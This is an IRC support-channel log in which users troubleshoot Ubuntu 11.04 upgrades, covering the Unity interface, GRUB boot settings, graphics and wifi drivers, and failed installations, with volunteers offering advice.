[00:19] <Solnse> lcb: I'm sorry I don't understand... where do I find the catalyst control?
[00:19] <jsebean> ??
[00:19] <Osmodivs> Everytime I login my monitor resolution is messed up, it is 1024x768, I always change it as root to 1440x900, wich is the Max res for my monitor, but everytime I login, the resolution is back to 1024x768. I must say that months ago I tweaked Xconfig to install a Tablet-Pen with no succes, I want to delete it because I do not needed anymore, does anyone knows what needs to be deleted so I have my Xconfig file back to normal??
[00:19] <Osmodivs> http://pastebin.com/RhmZEbDm
[00:19] <Moa> pragmaticenigma, Intel Corporation Mobile GM965/GL960
[00:19] <hihihi100> how do I change the boot screen? I have every plymouth package installed, but solar does not work 11.04
[00:19] <Barnabas> Juest, it produces a menu.lst file probably in /boot somewhere
[00:19] <Barnabas> Juest : https://help.ubuntu.com/community/GrubHowto
[00:19] <lcb> Solnse, under Applications check Catalystic
[00:20] <jsebean> how can I make a program launch on startup every time i login on Ubuntu? I add it to startup programs, and it works first time i login, but when i logout and log back in its removed and i have to add it to startup programs again, any ideas?
[00:20] <pragmaticenigma> Moa: I unfortunatly have no experience with the intel chipsets...
[00:20] <Juest> got it
[00:20] <lcb> jsebean, Startup Applications
[00:20] <Barnabas> Juest, remember the menu.lst is a generated file
[00:20] <Solnse> lcb: I get an initialization error when trying to open the Catalyst Control Center: No ATI graphics driver is installed, or the ATI driver is not functioning properly
[00:20] <Moa> pragmaticenigma, thanks anyway
[00:20] <jsebean> i did that and it works the first time
[00:21] <jsebean> but once i log out and back in it gets removed
[00:21] <lcb> Solnse, disable the proprietary driver, reboot, enable it again
[00:21] <Juest> is grub.cfg
[00:21] <inaxio> hello i just downloaded the 11.04 update and dislike the new launcher on the side, how can i make it so my system looks like it did pre-update (eg normal bar at top, no launcher)
[00:21] <inaxio> i do not have much idea how to change this
[00:21] <Solnse> lcb: do you know of a walk-through page for that?
[00:21] <Ampelbein> inaxio: select 'ubuntu-classic' at the login screen
[00:22] <Osmodivs> And I have this on the terminal:  WARNING:  Unable to find CorePointer in X configuration; attempting to add new CorePointer section.   WARNING:  The CorePointer device was not specified explicitly in the layout; using the first mouse device    WARNING:  Unable to find CoreKeyboard in X configuration; attempting to add new CoreKeyboard section.   WARNING:  The CoreKeyboard device was not specified explicitly in the layout; using the first keyboard dev
[00:22] <Osmodivs> ice.
[00:22] <jsebean> how can I make a program launch on startup every time i login on Ubuntu? I add it to startup applications, and it works first time i login, but when i logout and log back in its removed and i have to add it to startup applications again, any ideas why this happens i dont want to have to keep adding it to startup applications?
[00:22] <inaxio> ampelbein: will try, thank you
[00:22] <pylix> can you format a drive natively from the terminal?
[00:22] <luigi_panache> pylix: Yes. Use mkfs.
[00:22] <Juest> Barnabas: got it /boot/grub/grub.conf
[00:22] <Juest> Barnabas: got it /boot/grub/grub.cfg*
[00:23] <lcb> Solnse, type in a terminal -> sudo /usr/bin/jockey-gtk and tell me if is anything loaded or disabled
[00:23] <carmine> hi guys
[00:23] <jsebean> how can I make a program launch on startup every time i login on Ubuntu? I add it to startup applications, and it works first time i login, but when i logout and log back in its removed and i have to add it to startup applications again, any ideas why this happens i dont want to have to keep adding it to startup applications?
[00:23] <lcb> jsebean, i told you.... Startup Applications, then add the command
[00:24] <Solnse> lcb: no proprietary drivers are in use on this system
[00:24] <Guest78791> help! ubuntu unity on 11.04 is very odd
[00:24] <jsebean> lcb: you didnt read the rest of what i said
[00:24] <jsebean> how can I make a program launch on startup every time i login on Ubuntu? I add it to startup applications, and it works first time i login, but when i logout and log back in its removed and i have to add it to startup applications again, any ideas why this happens i dont want to have to keep adding it to startup applications?
[00:24] <lcb> Solnse, and nothing in there to be enabled?
[00:24] <unforgiven512> I can not get my wifi to work on my laptop. I have the driver enabled in "Restricted Drivers" correctly. I've rebooted multiple times. I've tried disabling, rebooting, re-enabling, rebooting. I've tried '$ sudo rfkill unblock all", no luck.
[00:24] <Solnse> lcb: however I can choose to activate ATI/AMD proprietary FGLRX graphics driver on this window
[00:24] <lcb> jsebean, that's not normal. what app is that?
[00:25] <jsebean> google-chrome
[00:25] <Soothsayer> after I make changes to my /etc//hosts, what do I have to do to activate it?
[00:25] <Guest78791> is there a way to move that bar in a different position? maybe in the bottom of the screen?
[00:25] <lcb> Solnse, activate it
[00:25] <Soothsayer> I added a line "127.0.0.1   webly.lh"  to my /etc/hosts/
[00:25] <Soothsayer> /etc/hosts  **
[00:25] <lcb> guest, no
[00:25] <Solnse> lcb: it's downloading and installing. thank you... so when I reboot all should be good?
[00:25] <hiexpo> unforgiven512, what kind of wifi card is it      > first ?
[00:25] <Guest78791> what a sadness
[00:25] <unforgiven512> It shows up under '$ lspci' as 03:00.0 Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01)
[00:26] <lcb> Solnse, if not good DO NOT USE "Monitors" but the Catalystic Control Center
[00:26] <Solnse> lcb: ok.
[00:26] <ohzie> Hey guys
[00:26] <hiexpo> unforgiven512, open terminal and run   iwconfig
[00:26] <Otoris> Is it just me or does Unity look terribly huge and bulky, I also have no clue what apps I have cause there is complete list of them :(
[00:26] <Solnse> lcb: rebooting to try. thanks again.
[00:26] <unforgiven512> lo and eth0, no wlan0
[00:27] <slee> hey,  I used  sudo checkinstall..  and whenever I use apt-get , I get WARNING: The following packages cannot be authenticated!
[00:27] <slee> is there a fix?
[00:27] <Guest78791> Otoris, me too
[00:27] <unforgiven512> It worked fine under 10.10, I did a full wipe and fresh install, btw
[00:27] <jonte> Hey. I just installed ubuntu 11.04, and I'm trying this Unity thing.. There's a neat search bar, but it doesn't find anything useful.. Can I make it index my drive? (Searcning for 'Makefile' yields nothing, when I'm actually right now looking at a Makefile in my terminal..)
[00:27] <ohzie> I have a friend who lost his password, and I had him put a 1 on his initrd line in grub, to boot into single user mode, and it booted him to his username instead of to root. What is the current way to do what I am trying to help him do? :(
[00:28] <ayrton> how do i change the look of 11.04 back to the look of 10.10
[00:28] <lcb> pls... don't private me. my wife takes the keyboard away from me
[00:28] <Otoris> Logout and select gnome classic
[00:28] <janisozaur> ayrton, choose 'ubuntu classic' at login screen
[00:28] <Otoris> ayrton
[00:28] <unforgiven512> ayrton: At login, please select ubuntu classic
[00:28] <Ampelbein> ayrton: choose 'ubuntu classic' at login screen
[00:28] <Guest78791> quote ayrton
[00:28] <Guest78791> ok!
[00:28] <bvierra> hey all, just updated to 11.04, using "Intel Corporation Mobile 4 Series Chipset Integrated Graphics Controller" and openGL for compiz causes the background not the refresh
[00:28] <ayrton> lol nice support , but some1 told me that but i dont see it
[00:28] <lcb> she's very jealous
[00:28] <bvierra> basically drag a window around and you see its trail for a while
[00:29] <Ampelbein> ayrton: when you choose your user, there is a listbox at the bottom
[00:29] <unforgiven512> hiexpo: lsmod returns wl and lib80211, I think there should be ssb, mac80211, and cfg80211, perhaps?
[00:29] <ayrton> ok ill try it this is anoying
[00:29] <hiexpo> unforgiven512, try sudo modprobe BCM4311
[00:29] <janisozaur> ayrton, you have to log out if you are logged in and click on your user name, so that the password box is shown, then look to the bottom of th screen
[00:29] <unforgiven512> hiexpo: not there
[00:30] <syn3rgy> How do I change the names of the icons on the dock bar. I have 6 firefox profiles. Now they all say Firefox Web Browser.
[00:30] <janisozaur> is there a ubottu !factoid for 'how to switch to ubuntu classic'?
[00:30] <unforgiven512> bcm203x, bcm3510, bcm5974, bcm63xx, bcm_wimax
[00:30] <Otoris> Wasn't Chrome/ium supposed to replace firefox in this update?
[00:30] <Juest> !unity
[00:30] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[00:30] <syn3rgy> No firefox 4
[00:30] <lcb> janisozaur, logout and select ubuntu classic
[00:30] <janisozaur> Otoris, no, they are going to evaluate it for 'o' version
[00:31] <janisozaur> lcb, read my question again
[00:31] <hiexpo> unforgiven512, than you don't have the driver so you need to get it   >   so best place would probally be aircrack-ng    :0
[00:31] <thorstenmz> can someone verify this bug in unity + compiz? https://bugs.launchpad.net/unity/+bug/769957
[00:31] <ubottu> Ubuntu bug 769957 in unity (Ubuntu) "Unity panel turns black when enabling/disabling Compiz plugins" [Undecided,New]
[00:31] <ghostnappa> Okay guys, I have a problem. On my main PC, various shmup games seem to be uncontrollable. Most think that I am holding up+left, but rrootage just doesn't move at all. it happens on ubuntu variants, fedora, and every other linux install that I have tried so it isn't just ubuntu exclusive. Testing in a liveCD environment between two seperate PC's reveals that this is only a problem with my PC and not the other one. This
[00:31] <ghostnappa> is a problem with native games, WINE, and MAME. But seems to only be effecting games with joystick support. I honestly have no idea where to start searching for answers here, but thought this could be a decent starting point. I have no joysticks, just using a standard keyboard and mouse
[00:31] <unforgiven512> hiexpo: I don't understand. I installed the driver from "restricted drivers", it worked totally fine, out of box on Ubuntu 10.10. Taking a step backwords, are we?
[00:32] <coz_> thorstenmz, yes I can verify that... probably a nux issue,, I now that logging off and back on fixes it
[00:32] <Juest> Barnabas: hey, still
[00:32] <syn3rgy> ghost I am still reading chapter 2 of your post
[00:32] <Juest> bah, froget it
[00:32] <torchie> how do I know when I'm running unity 2d or 3d
[00:32] <ghostnappa> Oh right, sorry
[00:32] <thorstenmz> ok
[00:32] <hiexpo> unforgiven512, no cause now you are on 11.04 right ?
[00:32] <lcb> janisozaur, looks like isn't
[00:32] <unforgiven512> hiexpo: I am on 11.04, yes. But, why is there a regression from 10.10?
[00:32] <Bookman> Since upgrading to 11.04 I seem to have lost my 3D capability on my ATI Xpress200.  Seemed fine before the upgrade.  Not sure how to correct.
[00:33] <luigi_panache> How do I manually bring up an interface?
[00:33] <jerriy> Hi
[00:33] <ayrton> ok ty but now how do i change grub boot loader to boot with ubuntu pae so i can use all my ram?
[00:33] <ayrton> boot it first instead of non pae
[00:34] <hiexpo> unforgiven512, i don't know why i am not a dev for ubuntu      >    but do you want to have somethingthat will last for 3 years with no problem ?
[00:34] <Solnse> lcb: thank you very much, now in Ubuntu 11 for the first time. will have fun learning the new GUI
[00:34] <Barnabas> Juest, did you get it working?
[00:35] <Juest> working what?
[00:35] <syn3rgy> ayrton are you sure your chipset supports extended memory management?
[00:35] <DanCar> anyone know anything about these update connection problems?
[00:35] <Barnabas> Juest, grub?
[00:35] <SerialMDK> anyone here help me with a problem?
[00:35] <unforgiven512> hiexpo: I'll probably just tinker with it more, and see if Ic an fix it.
[00:35] <ayrton> yea
[00:35] <syn3rgy> ayrton look in your BIOS
[00:35] <Ampelbein> ayrton: 'https://help.ubuntu.com/community/Grub2#Configuring GRUB 2'
[00:35] <syn3rgy> ayrton there should be a "switch" to turn it on
[00:35] <ayrton> ... i just need to set another kernel as default boot..
[00:36] <syn3rgy> ayrton the kernel is not the whole story often.
[00:36] <hiexpo> unforgiven512, ok good luck with that i was going to suggest you using 10.04lts i use it with 2.6.38.5 kernal and it is great and very fast
[00:36] <ayrton> can i modify grub boot loader
[00:36] <Ampelbein> ayrton: see the link I gave you, it has the instuctions. tl;dr version: edit /etc/default/grub
[00:36] <janisozaur> !classic is The default interface since 10.10 is !unity. You can switch back to regular !gnome by selecting 'Ubuntu classic' in the box at the bottom while having your user selected on login screen.
[00:37] <lcb> janisozaur, :)
[00:37] <Jordan_U> ayrton: Easiest thing to do is just remove the non-pae kernels.
[00:37] <ayrton> give link without quotes
[00:37] <Ampelbein> ayrton: ... https://help.ubuntu.com/community/Grub2#Configuring GRUB 2
[00:37] <Juest> Barnabas: are you getting any PMs?
[00:37] <janisozaur> lcb, this should help some people, I hope so :)
[00:37] <ayrton> ty
[00:37] <Antilect> I uninstalled GRUB today
[00:37] <Antilect> was pretty hard for a noob like me
[00:37] <lcb> janisozaur, yea
[00:38] <SoobNauce> I am of the opinion that grub is evil
[00:38] <arand_> ayrton: Normally the pae kernels are set to boot first per default..
[00:38] <Barnabas> Juest, no none - but feel free to ask here
[00:38] <janisozaur> !classic is The default interface since 11.04 is !unity. You can switch back to regular !gnome by selecting 'Ubuntu classic' in the box at the bottom while having your user selected on login screen.
[00:38] <SoobNauce> but my experience was painted by the fact that I forgot to give myself root access on the debian install that used it
[00:38] <Juest> Antilect: how do you uninstalled it?
[00:38] <Juest> Barnabas: really?
[00:38] <Juest> check
[00:38] <ayrton> arand its not
[00:38] <Antilect> I had to use a Win XP install disc
[00:39] <ayrton> i have to hold shift and boot into the pae kernel
[00:39] <Antilect> 1. boot from it, 2. Choose repair, 3. Use MBR or FIXBOOT coomand
[00:39] <Antilect> then it's gone
[00:39] <Antilect> type HELP for commands
[00:39] <Antilect> FIXBOOT and MBR I think
[00:39] <SerialMDK> anyone here help me with a problem?
[00:39] <arand_> Antilect: Well, true, that's quite offtopic here though.
[00:39] <Ampelbein> !anyone | SerialMDK
[00:39] <ubottu> SerialMDK: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[00:39] <syn3rgy> antilect the cure for Windows is format C
[00:39] <Juest> oh lol
[00:39] <SerialMDK> i try to install 11.04 and get a black screen
[00:40] <rzx237> ayrton: /etc/default/grub on GRUB_DEFAULT=0 I guess
[00:40] <Antilect> syn3rgy not the cure for GRUB thou
[00:40] <lcb> SerialMDK, how come?
[00:40] <hiexpo> excuse me chan ops i know what i am about to say is wrong   but    >>   Juest you have been wasting peoples timehere for two days now it is obvious you are to stupid to use linux  >   so quit wating peoples time here and return to your click n go windoz thanx
[00:40] <SerialMDK> iidk i tried 32 bit and 64 bit
[00:41] <SerialMDK> several cd's and flash drives
[00:41] <SerialMDK> all black screen
[00:41] <MrHatter> i just upgraded my desktop to 11.04 and now i can move the mouse around but nothing works. no buttons, no keyboard, nada.
[00:41] <Osmodivs> Everytime I login my monitor resolution is messed up, it is 1024x768, I always change it as root to 1440x900, wich is the Max res for my monitor, but everytime I login, the resolution is back to 1024x768. I must say that months ago I tweaked Xconfig to install a Tablet-Pen with no succes, I want to delete it because I do not needed anymore, does anyone knows what needs to be deleted so I have my Xconfig file back to normal??
[00:41] <Osmodivs> http://pastebin.com/RhmZEbDm
[00:41] <Jordan_U> hiexpo: That is indeed not apropriate and I ask that you do not insult users in the future if you wish to remain in this channel.
[00:41] <Osmodivs> And I have this on the terminal:  WARNING:  Unable to find CorePointer in X configuration; attempting to add new CorePointer section.   WARNING:  The CorePointer device was not specified explicitly in the layout; using the first mouse device    WARNING:  Unable to find CoreKeyboard in X configuration; attempting to add new CoreKeyboard section.   WARNING:  The CoreKeyboard device was not specified explicitly in the layout; using the first keyboard dev
[00:41] <Osmodivs> ice.
[00:42] <christhecoolboy> The Problem I have is that my mic is not listed after the 11.04 upgrade, it now has "Internal Audio Analogue Stereo" Instead... I have a MSI AE2020, The Sound card is a Nvidia MCP79 and the computer requires Snd-hda-intel to have Auto to have sound, loads more were tested in 10.10, http://paste.ubuntu.com/601047/ and http://paste.ubuntu.com/601054/ should give you more Information that can help fix it, the Mic is built in to the computer...
[00:42] <hiexpo> Jordan_U, ok i know
[00:42] <hiexpo> sorry   Jordan_U
[00:42] <SerialMDK> no one can tell me why install black screens?
[00:42] <Juest> hey Barnabas https://help.ubuntu.com/community/Grub2#File Structure
[00:43] <lcb> SerialMDK, write the nicks of ppl you are talking to so they are highlighted... is that an 11.04 ISO?
[00:43] <jonte> Hey, can I get some help with the Unity search?
[00:43] <MrHatter> upgrade to 11.04, no keystrokes or mouse buttons, anyone know where i can start ?
[00:43] <SerialMDK> ~>lcb<~ yes an iso and tried from flash drive 32 and 64 bit
[00:43] <compubomb> is it worth me upgrading to 11.04?.. my system right now on 10.10 is pretty stable, no issues what so ever.
[00:43] <lcb> SerialMDK, what happens?
[00:44] <hiexpo> Jordan_U, thanks   ":)
[00:44] <MrHatter> compubomb, dont do it!
[00:44] <tripelb> hi! how do I get tibetan letters? I get chinese, etc but squares for tibetan
[00:44] <SerialMDK> ~>lcb<~ i click install to hdd and it goes black
[00:44] <lcb> SerialMDK, besides the monitor being off :)
[00:44] <SerialMDK> ~>lcb<~ im not that stupid...
[00:44] <Osmodivs> ¡china
[00:44] <compubomb> I'm just wondering what the major benefits are.
[00:44] <lcb> SerialMDK, how do you click install?
[00:44] <Osmodivs> ¡chinese
[00:44] <Osmodivs> ¿?
[00:44] <BitsMaster> A little problem here
[00:44] <tripelb> compubomb not yet - unless you do it in a separate partition OR have "too much time on your hands" and want to learn and fuss.
[00:44] <MrHatter> compubomb, well it just hosed my system.
[00:44] <SerialMDK> ~>lcb<~ its like 3 down in the list when i boot the cd
[00:44] <compubomb> MrHatter: i'm just wondering what the major benefits are.
[00:44] <jonte> .. And can I add applets to the top unity bar? I need the CPU frequency applet
[00:44] <BitsMaster> I want to remove a package
[00:44] <lcb> SerialMDK, i was kidding, bro
[00:45] <OY1R> after getting this error > http://pastebin.com/i2ZahWqH (mount /dev on /root failed invalid argument), i was told to reinstall grub, now when i reboot i only get a grub prompt_ anyone ? using ubuntu 10.10.
[00:45] <LjL> compubomb: different interface for starters, which you might or might not like... honestly if youre 10.10 is fine and you don't need new software, why upgrade.
[00:45] <hiexpo> BitsMaster, what package you want to remove ?
[00:45] <compubomb> MrHatter: i have a default install on my pc, so no other partitions other than linux
[00:45] <BitsMaster> but apt-get installs other packages automaticly
[00:45] <lcb> SerialMDK, how did you load that iso image to the flash?
[00:45] <SerialMDK> ~>lcb<~ universal usb loader
[00:45] <MrHatter> compubomb, mine was an ordinary default system too. now i have to figure out how to fix it.
[00:46] <rzx237> compubomb: you need to try yourself, use USB disk or Live CD to try 11.04, somehow it is awesome
[00:46] <compubomb> LjL: yah, that is what i was thinking, other than it would be nice to get open office 3.0
[00:46] <BitsMaster> so apt-get remove chromium, the following packes will be removed (...) the following packages will be installed (...)
[00:46] <BitsMaster> I don't want to install new packs
[00:46] <lcb> SerialMDK, format the flash and load the image with unetbootin. format the drive you are going to install with ext4.
[00:46] <BitsMaster> I want to just remove the packages I specified
[00:46] <BitsMaster> Anyone has an idea?
[00:46] <hiexpo> BitsMaster, are you familar with pastbin ?
[00:47] <BitsMaster> yes
[00:47] <janisozaur> !cn | Osmodivs
[00:47] <ubottu> Osmodivs: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[00:47] <BitsMaster> I will paste it
[00:47] <Susanna> Hi there, updated Ubuntu and now graphical output is dead slow when second monitor is connected
[00:47] <OY1R> BitsMaster, you could select them in senaptic package manager
[00:47] <OY1R> de-select
[00:47] <hiexpo> BitOperator, ok pastebin the output of that
[00:47] <hiexpo> BitsMaster, :0
[00:47] <Susanna> Switched to gnome 3, no difference. Seems to be a driver issue?!
[00:47] <lcb> Susanna, what graphic adapter or driver installed?
[00:47] <hiexpo> :)
[00:47] <SerialMDK> ~>lcb<~ that still dont explain why cd's wont work
[00:48] <lcb> ahhh, Susanna gnome 3 is not supported yet
[00:48] <Susanna> Hi lcb, using the intel one
[00:48] <Osmodivs> I hate Unity
[00:48] <lcb> SerialMDK, CD or FLASH?
[00:48] <Evildaemon> Is the authentication protocol currently used by gshare secure?
[00:48] <Osmodivs> I want Gnome3, Like everybody else
[00:48] <Susanna> lcb: well, tried with Unity as well but was the same problem
[00:48] <SerialMDK> ~>lcb<~ i tried both, burned through like 10 blank cd's so far
[00:48] <BitsMaster> http://http://paste.ubuntu.com/601522/
[00:48] <Jordan_U> !gnome3 | Osmodivs
[00:48] <ubottu> Osmodivs: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[00:48] <syn3rgy> Where can I get the source code for Unity ? C++ not C ?
[00:49] <compubomb> anyways..
[00:49] <lcb> Susanna, type in terminal ' sudo /usr/bin/jockey-gtk ' and see if any driver is needed
[00:49] <Nuc134rB0t> Hello everyone i need some help installing natty. It wont recognize my partitions from an IDE drive.
[00:49] <lcb> SerialMDK, always with the same ISO image?
[00:49] <janisozaur> syn3rgy, apt-get source unity
[00:49] <SerialMDK> ~>lcb<~ no i downloaded it new everytimg
[00:49] <BitsMaster> It drives me crazy, even in Synaptic it auto-installs the packages
[00:49] <lucas> hi! I want to install grub2 on external usb disk. Is there a way to use uuid's instead of conventional device naming like root=/dev/sda?
[00:49] <janisozaur> syn3rgy, no 'sudo'
[00:50] <Evildaemon> SrialMDK, have you md5'ed the ISO yet?
[00:50] <lcb> SerialMDK, if your computer handles booting from flash you don't need to haste CDs
[00:50] <Susanna> lcb: "No proprietary drivers are used on this system"
[00:50] <Juest> how do i fix fstab iusses? i am having troubles with UIDs
[00:50] <syn3rgy> janisozaur is there a git server I can clone or pull it from?
[00:50] <BitsMaster> I can't be deselected, and Lubuntu-desktop is beeing removes too... :X
[00:50] <SerialMDK> ~>lcb<~ i think the flash drive is screwed and i have tons of cd's so i dont care
[00:50] <lcb> SerialMDK, that's weird and first time seeing something like that. better trying what i told you. download the ISO from ubuntu official
[00:51] <Susanna> bg
[00:51] <SerialMDK> ~>lcb<~ i had 9.1 and tried to upgrade to 10.02 and that failed too
[00:51] <lcb> Susanna, is that a first run after upgrading?
[00:51] <Susanna> Juest: ls -la /dev/disk/by-uuid/
[00:51] <SerialMDK> ~>lcb<~ i did dl from ubuntu.com
[00:51] <Susanna> lcb: Yes
[00:51] <janisozaur> syn3rgy, sorry, no idea. try at #ubuntu-devel
[00:52] <Susanna> lcb: well I did reboots already
[00:52] <syn3rgy> Just wondering is there ANYBODY here that actually likes Unity? Wonder if Canonical is listing to its users. Maybe they are idk.
[00:52] <SerialMDK> ~>lcb<~ is it possible my ~>computer<~ just wont run it?
[00:52] <lcb> Susanna, might need to reboot. sorry one thing.. was that an upgrade or fresh install?
[00:52] <Susanna> lcb: upgrade
[00:52] <syn3rgy> janisozaur Ill take a look over there thx
[00:52] <livecd_guy> I'm in 11.04 livecd right now.. why can't I see the unity desktop?
[00:52] <janisozaur> !classic | lcb
[00:52] <ubottu> lcb: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[00:52] <janisozaur> lcb, :)
[00:52] <Susanna> lcb: please don't tell me to reinstall
[00:52] <as2000_> I like Unity. Like anything else, it just takes getting used to.
[00:52] <PalinBachman2012> i like UNITY
[00:52] <PalinBachman2012> i didnt at first, tho
[00:53] <Jordan_U> syn3rgy: bzr get https://code.launchpad.net/~ubuntu-desktop/unity/ubuntu
[00:53] <lcb> SerialMDK, try gurning the flash with unetbootin. if so you'll get more options to check if is a monitor or graphics falt
[00:53] <lcb> falt/fault
[00:53] <lcb> Susanna, , please reinstall
[00:53] <Juest> uuids are right in fstab, but lilo thinks is not ordinary, why?
[00:53] <lcb> Susanna, j/k :p
[00:53] <Juest> any lilo channel????
[00:53] <syn3rgy> Jordan_U thx going to grab a copy asap
[00:53] <ayrton> i cant find how to mod the boot order in grub2
[00:54] <Jordan_U> syn3rgy: You're welcome.
[00:54] <lcb> Susanna, did you do the upgrade as it should - updating previous ubuntu, fixing the system and not interrupting the upgrade process?
[00:54] <lucas> hi! I want to install grub2 on external usb disk. Is there a way to use uuid's instead of conventional device naming like root=(hd0,2)?
[00:54] <Jordan_U> ayrton: Remove all your non-pae kernels.
[00:54] <bastidrazor> Juest: there is a #lilo channel
[00:54] <Susanna> lcb: I reckon it is a bloody driver issue and will be solved over time (http://bit.ly/mLhpDN). Why do you think a reinstall will solve the issue
[00:55] <ayrton> i dont want to remove them
[00:55] <silentz0r> hello, i just upgraded to natty (11.04) and my laptop has been behaving weirdly. The shutdown promt pops up and shuts down after 50 seconds even if I press cancel a million times, and now the laptop doesn't even boot up (i press the power button and it starts for 2 seconds, then dies instantly).
[00:55] <Susanna> lcb: The update ran without any issue
[00:55] <tjiggi_fo> ayrton, get Startup Manager from Synaptic (it'll be in applications when installed) and set the order from there
[00:55] <Susanna> lcb: and everything worked well before
[00:55] <lcb> Susanna, i was kidding, as i said right after it. don't need to reinstall
[00:55] <tripelb> hi! how do I get tibetan letters? I get chinese, etc but squares for tibetan
[00:55] <Juest> i am wanting to remove a broken gnome, i can't why?
[00:55] <lcb> Susanna, do the failsafeX. you now how?
[00:56] <ayrton> also were is visual effects in 11.04
[00:56] <Susanna> lcb: Yes, I'll try
[00:56] <lcb> Susanna, do the default, to start
[00:57] <zenlunatic> tripelb: just curious.  does it work on windows
[00:57] <lcb> Susanna, SHIFT after bios messages and before grub, recovery, failsafeX and blah blah... i think you know
[00:57] <asdf_msc> where can i get updated 32 bit libraries for 64 bit ubuntu?
[00:57] <ayrton> were are visual effects in 11.04?
[00:58] <syn3rgy> ayrton ccsm needs to be reinstalled.
[00:58] <lcb> ayrton, check under Themes & Tweaks
[00:58] <Jordan_U> ayrton: Why don't you want to remove them if you don't use them?
[00:58] <tripelb> I dont know about windows zenlunatic - I am reading http://ubuntuforums.org/showthread.php?t=1192750 but that's 2 years ago. Also I've got seamless chinese and hebrew (never did anything) so I am expecting that it is not really hard.
[00:58] <rzx237> ayrton: it is in /boot/grub/grub.cfg, although it say do not edit the file, I bet you can edit it carefully
[00:59] <Omega> syn3rgy: https://code.launchpad.net/unity
[00:59] <tripelb> zenlunatic, I dont know anything about tibetan text in windows (correction of my sentence)
[00:59] <zenlunatic> tripelb: never heard of it but id be impressed.  thats a small language
[01:00] <syn3rgy> Omega thx for that tip.
[01:00] <silentz0r> anyone? I really need my laptop to be on at least.
[01:00] <botcity> silentz0r, how did you upgrade ?
[01:00] <karma_police> i cannot get ubuntu 10.10 to connect to my g1 tethered wifi..
[01:00] <xaos11> I'm trying to make btnx launch upon boot or login. It requires root to run properly, and I tried putting the command in the sudoers file but it doesn't help when I put the command in startup items. With the sudoer entry, I am able to execute the command as normal user without sudo, as btnx -b, or /etc/init.d/btnx start, but not as a startup entry. I checked execute permissions on the rc2.d entry but for some reason it isn't working. If I
[01:01] <silentz0r> botcity: had 10.10, the system upgrade popped up, I pressed upgrade
[01:01] <Omega> Did it get interrupted?
[01:01] <tripelb> re languages, I went into languages. it told me language support is not installed completely. I chose to install it. (this is ubuntu 10.04) will report what happens... zenlunatic
[01:01] <silentz0r> nope, laptop was untouched
[01:02] <xaos11> I don't really know how to check the log files to know if something interrupted it
[01:02] <karma_police> i cannot get ubuntu 10.10 to connect to my g1 tethered wifi. is there something special you have to do in order to connect to an ad-hock network?
[01:02] <zenlunatic> tripelb: good luck, thats a niche
[01:02] <lcb> silentz0r, what do you get when booting?
[01:02] <zenlunatic> karma_police: man iwconfig
[01:03] <silentz0r> lcb: nothing, laptop doesn't boot. If I unplug the power and plug it back in, it boots for 2 seconds with a blank screen and then it's off
[01:03] <tripelb> ubuntu help did not help me. how do I see the print queue. is there an icon for it. I ended up with two copies.
[01:03] <karma_police> what then?
[01:03] <silentz0r> lcb: same thing happened yesterday but it booted somehow after 2 hours of trying to boot
[01:03] <lcb> silentz0r, and that is happening only after upgrading or did it before?
[01:03] <zenlunatic> karma_police: ad_hoc is ad_hoc it shouldnt matter what device is hosting it
[01:03] <zenlunatic> karma_police: are you getting an ip address, first off
[01:04] <silentz0r> lcb: nope
[01:04] <tripelb> languages is NOT it for getting text fonts.
[01:04] <lcb> silentz0r, press F8 while booting and select the HD, then press SHIFT while booting
[01:04] <karma_police> i can connect to wireless networks using ubuntu.. i can dual boot and connect to phone using windoz.. just won't connect on ubuntu
[01:05] <zenlunatic> karma_police: youre not helping me
[01:05] <nsur> hi all. anybody has tried natty 11.04?
[01:05] <zenlunatic> karma_police: "connect to wireless networks" is kinda vague
[01:05] <zenlunatic> karma_police: are you getting an ip first off
[01:05] <karma_police> i'm not sure.. booted into windows right now in order to get on the net
[01:05] <lcb> silentz0r, got it??? first we are trying to boot on the correct media; then we are going to the grub menus
[01:06] <silentz0r> lcb: I did get it, but the thing is nothing shows up
[01:06] <silentz0r> lcb: just a blank screen for less than a second
[01:06] <silentz0r> lcb: then it dies
[01:06] <lcb> silentz0r, what type of portable is that?
[01:06] <silentz0r> lcb: Acer Timeline X 4820 TG
[01:06] <karma_police> i'm using 10.10 with a usb wireless nic...
[01:06] <silentz0r> lcb: looked up the thread on ubuntu forums as well, nothing mentioned
[01:06] <silentz0r> lcb: furthermore, when I unplug and replug the power supply, it start automatically!
[01:06] <lcb> silentz0r, is F8 the correct key for selecting the media to boot? i guess so...
[01:07] <IdleOne> tripelb: System > Admin > Printing > click on printer > view print queue
[01:07] <silentz0r> lcb: this would inquire BIOS to start
[01:07] <silentz0r> lcb: but BIOS doesn'
[01:08] <[4-tea-2]> Natty! \o/
[01:08] <hiexpo> hey IdleOne how you been ?   awhile
[01:08] <lcb> silentz0r, do this.... unplug the power cord. remove the battery. press the power button for about 20 seconds. then put everything back on. then boot. press the key to go to bios and select defaults. save and reboot.
[01:08] <IdleOne> hiexpo: good thanks.
[01:08] <hiexpo> :)
[01:08] <jonte> Guys.. The search feature in unity.. Is there any information on it? How can I make it index my files?
[01:08] <zenlunatic> karma_police: okay i see youre not going to troubleshoot
[01:08] <lcb> silentz0r, remove CDs, USBs before...
[01:09] <botcity> silentz0r, have you a live cd just to see if it boots.
[01:09] <silentz0r> lcb: i tried holding it down for 5 secs, gonna try 20
[01:09] <Arachon> I have a lot of hidden directories in my home folder, that carry the name of some installed programs (e.x. ".xchat" ".armagetronad"), would I be correct in assuming that these folders contain config data for said programs?
[01:09] <nsur> have you tried natty?
[01:09] <lcb> silentz0r, but in that order i told you, it's important
[01:09] <silentz0r> botcity: i can put it on my flash drive
[01:09] <carl-m> Arachon: yes. sometimes they also have cached data and similar things put there by the program
